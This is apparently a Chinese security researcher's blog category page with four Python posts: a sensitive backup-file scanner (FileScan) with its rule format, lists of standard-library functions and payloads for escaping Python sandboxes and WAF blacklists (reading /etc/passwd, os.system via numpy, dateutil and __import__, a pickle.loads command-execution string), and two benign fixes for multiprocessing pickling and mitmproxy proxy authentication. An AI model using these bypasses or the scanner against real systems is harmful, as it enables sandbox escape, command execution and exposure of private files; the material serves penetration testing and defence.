分类 Python 下的文章

FileScan: 敏感文件扫描 / 二次判断降低误报率 / 扫描内容规则化 / 多目录扫描


项目地址:

https://github.com/Mosuan/FileScan


FileScan: 敏感文件扫描 / 二次判断降低误报率 / 扫描内容规则化 / 多目录扫描

程序只供交流,请勿用于非法用途,否则产生的一切后果自行承担!!!

不知道filescan 这个名字有没有跟别人的重复,如果重复的话就用我最喜欢的火影忍者里面的神威吧,一个名字而已,叫什么都无所谓了。

第三方库:
pip install requests

运行方式:
python filescan.py http://www.0aa.me
python filescan.py http://www.0aa.me/0aa/index.php

目录:

  • reque.py requests发送请求
  • filescan.py 入口文件,扫描结果相关
  • rule_parse.py 解析规则
  • backup_rule.py 扫描规则

依靠什么来验证?

  1. 返回状态码
  2. 返回内容正则判断
  3. 返回header
  4. 返回内容大小

如果你只是想使用,不想添加规则,那么下面的东西你就不用看了。

先说说规则吧,大概一条规则如下:

# 规则名字,可以随便写
    "url_backup": {
        # 是否每个目录都扫描 目前这个功能没有,后面会写
        "dir": True,
        # 是否需要拼接文件后缀名,dict有写filename的时候为True
        "suffix": True,
        # 规则
        "name":[{
            # 真规则的文件名
            "rule_true":[
                # zip rar
                "[DOMAIN]", "[HOST]", "[HOSTNAME]", "[TIME]", "[DOMAIN]1", "[HOST]1", "[HOSTNAME]1", "[TIME]1",
                "web", "webroot", "WebRoot", "website", "bin", "bbs", "shop", "www", "wwww",
                1, 2, 3, 4, 5, 6, 7, 8, 9,
                "www1", "www2", "www3", "www4", "default", "log", "logo", "kibana", "elk", "weblog",
                "mysql", "ftp", "FTP", "MySQL", "redis", "Redis",
                "cgi", "php", "jsp",
                "access", "error", "logs", "other_vhosts_access",
                "database", "sql",
            ],
            # 假规则的文件名,当一个漏洞真规则被判断存在的时候,就要用假规则去二次验证是否存在了
            "rule_false": "fuckcar10240x4d53"
        }],
        # 文件后缀名
        "filename": [
            "rar", "zip", "tar.gz", "tar.gtar", "tar", "tgz", "tar.bz", "tar.bz2", "bz", "bz2", "boz", "3gp", "gz2"
        ],
        # 判断是否存在
        "result": {
            # 返回页面大小
            "length": 50,
            # 返回状态码
            "status_code": [200],
            # 返回header
            "header":{
                # 返回header里面的字段名
                "Content-Type":[
                    # 字段值 可用正则
                    "application\/x-gzip", "text\/plain", "application\/x-bzip", "application\/bacnet-xdd+zip", "application\/x-gtar","application\/x-compressed", "application\/x-rar-compressed", "application\/x-tar", "application\/zip", "application\/force-download","application\/.*file", "application\/.*zip", "application\/.*rar", "application\/.*tar", "application\/.*down"
                ]
            }
        }
    }

看起来可能有些复杂,认真点看,其实不难,我认为很好理解。
规则里面的rule_true字段里面的几个替换符的意思如下:

  • 程序会将你传入的url用urlparse库解析出host,大概的意思就是下面这样
    比如一个url: http://www.0aa.me
  1. [DOMAIN] == 0aa.me
  2. [HOST] == www.0aa.me
  3. [HOSTNAME] == 0aa
  4. [TIME] 这个特殊一点,根据你扫描的日期,获取前几天的日期(默认前两天),如:今天20170809,会生成三种格式:
2017—08-09 / 2017—08-08 / 2017—08-07

2017_08_09 / 2017_08_08 / 2017_08_07

20170809 / 20170808 / 20170807

配置相关:
如果你想扫描更前面的日期,可以配置:
rule_parse.py 里面的 self.timenum 变量

限速:
filescan.py 里面的 self.sleep_time 变量

请求timeout时间:
reque.py 里面的 self.timeout 变量

效果:
注:图中的url是我绑的host

run filescan

result

最后再说一次:程序只供交流,请勿用于非法用途,否则产生的一切后果自行承担!!!

最后的最后感谢下:
北斗Team的所有挖掘机工程师
Saline大表哥
Redfree师傅


Python可用于bypass Sandbox的标准库


唉,项目需要,越做越蛋疼。
写个存档,方便自己以后翻阅,有空就更新。

2017.07.07 更新

  1. https://docs.python.org/2/library/types.html   types.FileType 读取文件

  2. https://docs.python.org/2/library/timeit.html   timeit.timeit 执行代码

  3. https://docs.python.org/2/library/inspect.html 可以猜测代码结构,如: inspect.getmembers

  4. https://docs.python.org/2/library/pickle.html   pickle.loads 执行命令

  5. https://docs.python.org/2/library/os.html   os.popen 执行命令

  6. https://docs.python.org/2/library/commands.html   commands.getstatusoutput 执行命令

  7. https://docs.python.org/2/library/subprocess.html   subprocess.popen 执行命令

  8. https://docs.python.org/2/library/io.html   io.open 读取文件

  9. https://docs.python.org/2/library/platform.html   platform.popen 命令执行


Python Waf黑名单过滤下的一些Bypass思路


你要说他是沙盒他就是沙盒,说是waf就是waf,无所谓了。
Python waf(sandbox) Bypass,自己边做边总结下,在实践的过程的觉得有意思的都记录下来。


1.黑名单下的函数;

1.1 变量 = 函数名

a = open
print(a("/etc/passwd").read())

1.2 空格+换行
经过测试,函数名后面加点空格换一行都能执行。

print open
("/etc/passwd").read()

111.jpg

2.第三方库内置的函数;

一般都会有在白名单的第三方库的,除非他们程序员太厉害了,所有模块都自己实现。
如:numpy这个库,内置了很多可以执行命令的地方。

from numpy.distutils.exec_command import _exec_command as system
system("ls /")

2222.jpg

3.import的方式;

大概常用的就几种,第三方的就不说了,欢迎补充
3.1 利用as取别名

import os as o

3.2 内置函数 import

__import__("os").system("whoami")

3.3 逗号+as(如果知道目录结构还可以用点号或者星号)

import time as t,os as o,urllib

3.4 魔术方法(思路来自:美丽联合集团安全应急响应中心@Viarus)

[].__class__.__base__.__subclasses__()#魔术方法,加载全部模块,需要for遍历之后找到模块来调用。

3333.jpg

3.5 getattr函数(首先你需要在内存中已经加载这个库,@kttzd师傅的姿势)
如numpy库的

from numpy.core import *
_ufunc_reconstruct("os","system")("whoami")

444.jpg

4.__init__.py 里面import的库;

这个地方很容易被程序员忽略...
__init__.py 里面import的库,我们可以直接使用。
如:dateutil这个第三方库。
dateutil/zoneinfo/__init__.py 下第三行就有import os

from dateutil import zoneinfo
zoneinfo.os.system("ls /")

5555.jpg

5.反序列;

import pickle
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

6666.jpg
这里有个经典的案例:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

再分享个没啥用tips,这次测试碰到的一个案例,因为之前被别人挖过,所以限制了对外发请求,又不能print打印出命令执行的结果,当时不是很肯定存在命令执行,没法证明就没法提交上去,后面用变量接收命令执行的结果然后用int函数强制转换,报错的时候就把命令执行返回的str带出来了(后面@kttzd 师傅翻出这个系统的文档,有个函数专门用来打印日志...)。
例如:
888.jpg

最后的最后再感谢下@kttzd 师傅的姿势。

参考:
https://docs.python.org/2/reference/datamodel.html#special-method-names
https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html


Python multiprocessing库 报错Can't pickle <type 'instancemethod'>


报错内容:Can't pickle <type 'instancemethod'>: attribute lookup builtin.instancemethod failed

111111.jpg

如果用普通函数没有问题,用到类就报错。

import copy_reg
import types

def _pickle_method(m):
    if m.im_self is None:
        return getattr, (m.im_class, m.im_func.func_name)
    else:
        return getattr, (m.im_self, m.im_func.func_name)

copy_reg.pickle(types.MethodType, _pickle_method)

参考:https://stackoverflow.com/questions/1816958/cant-pickle-type-instancemethod-when-using-pythons-multiprocessing-pool-ma


修改 mitmproxy 1.8.X 代理认证方式


原因:mitmproxy 1.8.x 不支持https代理认证,他在mitmproxy 2.0.x的时候据说修复了,但是需要 python 3.0的环境,我也没测试,项目也不能升级python版本,所以修改了下认证模块。

先感谢下猪猪侠,做了一个项目用到了猪猪侠的wyproxy,wyproxy采用了mitmproxy 1.8.x版本。有需求做代理认证的时候发现他对https的根本不支持,所以改了下认证方式。

wyproxy地址https://github.com/ring04h/wyproxy 再次感谢猪猪侠,有这个省事了很多。

mitmproxy在github上的issuehttps://github.com/mitmproxy/mitmproxy/issues/1722

如使用1.8.X版本的时候去请求https站点会返回:状态码为401,内容为:Authentication Required。

看了下mitmproxy 代理认证那块的代码。

http协议采用状态码为407.
https协议采用状态码为401.

知道这些东西后就好改代码了。

wyproxy.py文件添加几个函数:


def auth(f,check):
    """
    f.response.status_code = 401
    WWW-Authenticate    401
    Proxy-Authenticate  407
    f.response.headers['WWW-Authenticate'] = 'Basic realm="mitmproxy"'
    添加基础认证
    """
    if check:
        f.response.status_code = 401
        f.response.headers["WWW-Authenticate"] = "Basic realm=\"mitmproxy\""
    else:
        f.response.status_code = 407
        f.response.headers["Proxy-Authenticate"] = "Basic realm=\"mitmproxy\""
    return f

def authcheck(username='', password=''):
    """
    验证代理账号密码是否正确
    """
    from passlib.apache import HtpasswdFile
    ht = HtpasswdFile("./.htpasswd")
    status = ht.check_password(username, password)
    return status

def response_auth(f):
    """
    Authorization       401
    Proxy-Authorization 407
    用f.server_conn.ssl_established 来判断是http还是https
    判断是http 还是https
    验证代理账号密码是否正确
    """
    auth_user = ''
    auth_password = ''
    #判断header头部是那种认证方式
    if f.server_conn.ssl_established:
        auth_type = 'Authorization'
    else:
        auth_type = 'Proxy-Authorization'

    if f.request.headers.get(auth_type):
        try:
            auth_base64 = f.request.headers.get(auth_type).split(' ')
            auth_user = base64.b64decode(auth_base64[1]).split(':')[0]
            auth_password = base64.b64decode(auth_base64[1]).split(':')[1]
        except Exception,e:
            print(e)

    if not authcheck(auth_user, auth_password):
        f = auth(f, f.server_conn.ssl_established)
    return f

44444.jpg

搜索代码"def response(self, f):" ,在后面添加代码:f = response_auth(f)

如下图

5555.jpg